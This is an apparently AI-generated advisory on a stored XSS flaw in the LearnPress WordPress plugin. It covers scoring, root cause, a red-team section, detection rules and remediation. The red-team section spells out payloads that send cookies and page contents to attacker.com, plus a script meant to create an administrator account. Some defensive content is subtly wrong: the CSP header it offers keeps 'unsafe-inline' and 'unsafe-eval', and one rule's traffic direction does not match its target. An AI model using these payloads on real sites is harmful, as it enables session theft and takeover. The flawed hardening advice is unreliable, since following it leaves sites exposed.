CVE-2024-1463

Executive Summary

CVE-2024-1463 is a Stored Cross-Site Scripting (XSS) vulnerability in the LearnPress – WordPress LMS Plugin for WordPress. The flaw exists in all versions up to and including 4.2.6.3, allowing authenticated attackers with LP Instructor-level privileges to inject arbitrary web scripts via the Course, Lesson, and Quiz title and content fields. The vulnerability stems from insufficient input sanitization and output escaping, enabling stored XSS that executes when any user (including administrators) accesses the compromised page. With a CVSS score of 4.4 (Medium), the risk is elevated due to the potential for privilege escalation and session hijacking within the WordPress ecosystem.

Supply Chain & Package Security

This vulnerability affects the LearnPress plugin, a widely used Learning Management System (LMS) for WordPress. As a third-party plugin, it introduces supply chain risk: if the plugin is compromised or remains unpatched, all sites using it are vulnerable. The lack of a confirmed patch (status: UNKNOWN/UNPATCHED) means site administrators must rely on manual mitigations or temporary workarounds until an official update is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.4 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Requires LP Instructor-level authentication.
• User Interaction: Required (UI:R) – Victim must visit the injected page.
• Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ability for an instructor-level user to execute arbitrary JavaScript in the context of other users (including admins) can lead to privilege escalation, session hijacking, or defacement.

Deep Dive & Mechanics

The vulnerability resides in the LearnPress plugin’s handling of Course, Lesson, and Quiz titles and content. When an LP Instructor creates or edits these items, the plugin fails to properly sanitize user input and escape output before rendering it in the browser. This allows an attacker to inject malicious HTML/JavaScript payloads.

Attack Flow:

1. An authenticated user with LP Instructor role navigates to the "Add New Course" (or Lesson/Quiz) page.
2. The attacker inserts a malicious payload into the title or content field, e.g., <script>alert('XSS')</script>.
3. The plugin stores the payload in the WordPress database without proper sanitization.
4. When any user (student, admin, or other instructor) views the course/lesson/quiz page, the payload executes in their browser.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses the_title() and the_content() WordPress functions without applying esc_html() or wp_kses() to strip dangerous tags. Additionally, custom output functions may lack proper escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Example from LearnPress <= 4.2.6.3):

// In course/lesson/quiz template
echo '<h2>' . get_the_title() . '</h2>';
echo '<div class="content">' . get_the_content() . '</div>';

This directly outputs the title and content without escaping, allowing stored XSS.

Patched Code (Hypothetical fix):

// Patched version
echo '<h2>' . esc_html( get_the_title() ) . '</h2>';
echo '<div class="content">' . wp_kses_post( get_the_content() ) . '</div>';

esc_html() escapes HTML entities in the title, while wp_kses_post() allows only safe HTML tags in the content.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with LearnPress plugin <= 4.2.6.3.
• Valid LP Instructor account credentials.

Exploitation Steps:

1. Log in as an LP Instructor.
2. Navigate to wp-admin/admin.php?page=lp-courses and click "Add New".
3. In the "Course Title" field, inject a payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. In the "Course Description" (content) field, inject:

   <img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.body.innerHTML))">
   

5. Publish the course.
6. When an admin or student views the course page, the payload executes, exfiltrating cookies or page content.

Alternative Payload (Session Hijacking):

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/wp-admin/admin-ajax.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('action=create_user&user_login=hacker&user_pass=password&role=administrator');
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual content in course/lesson/quiz titles and descriptions containing <script>, <iframe>, or onerror attributes.
• Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to wp-admin/admin-ajax.php or wp-admin/post.php.
• Enable WordPress security plugins (e.g., Wordfence) with XSS detection rules.

Hardening:

• Apply input validation and output escaping as shown in the patched code.
• Restrict LP Instructor role capabilities to prevent them from publishing content without review.
• Use Content Security Policy (CSP) headers to block inline scripts:

  Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
  

  (Note: 'unsafe-inline' may be needed for WordPress, but consider removing it for stricter security.)

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown domains containing cookie= or data= parameters.
  • POST requests to /wp-admin/admin-ajax.php with suspicious action parameters (e.g., create_user).
• File IOCs:
  • Modified database entries in wp_posts table where post_title or post_content contains <script> tags.
• Log IOCs:
  • WordPress debug log entries showing PHP warnings related to get_the_title() or get_the_content().
  • Web server access logs with POST to /wp-admin/post.php containing XSS payloads.

Detection Engineering

YARA Rule

rule Detect_LearnPress_Stored_XSS_CVE_2024_1463 {
    meta:
        description = "Detects stored XSS payloads in LearnPress course/lesson/quiz content"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-1463"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["'][^"']*["']/is
        $xss3 = /onload\s*=\s*["'][^"']*["']/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: LearnPress Stored XSS via Course/Lesson/Quiz Fields
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts in LearnPress plugin (CVE-2024-1463)
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/wp-admin/post.php'
            - '/wp-admin/admin-ajax.php'
        cs-uri-query:
            - '*action=editpost*'
            - '*action=lp_create_course*'
            - '*action=lp_create_lesson*'
            - '*action=lp_create_quiz*'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in course content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1463 LearnPress Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"cookie="; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the LearnPress plugin until a patch is available, or restrict LP Instructor role to trusted users only.
2. Apply a Web Application Firewall (WAF) rule to block XSS payloads in POST requests to WordPress admin endpoints.
3. Manually audit all existing courses, lessons, and quizzes for malicious content using a database query:

   SELECT ID, post_title, post_content FROM wp_posts WHERE post_type IN ('lp_course', 'lp_lesson', 'lp_quiz') AND (post_title LIKE '%<script%' OR post_content LIKE '%<script%');
   

Long-Term Fix:

• Wait for an official patch from the LearnPress vendor. Once released, update to the patched version immediately.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.
• Regularly update all WordPress plugins and core.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.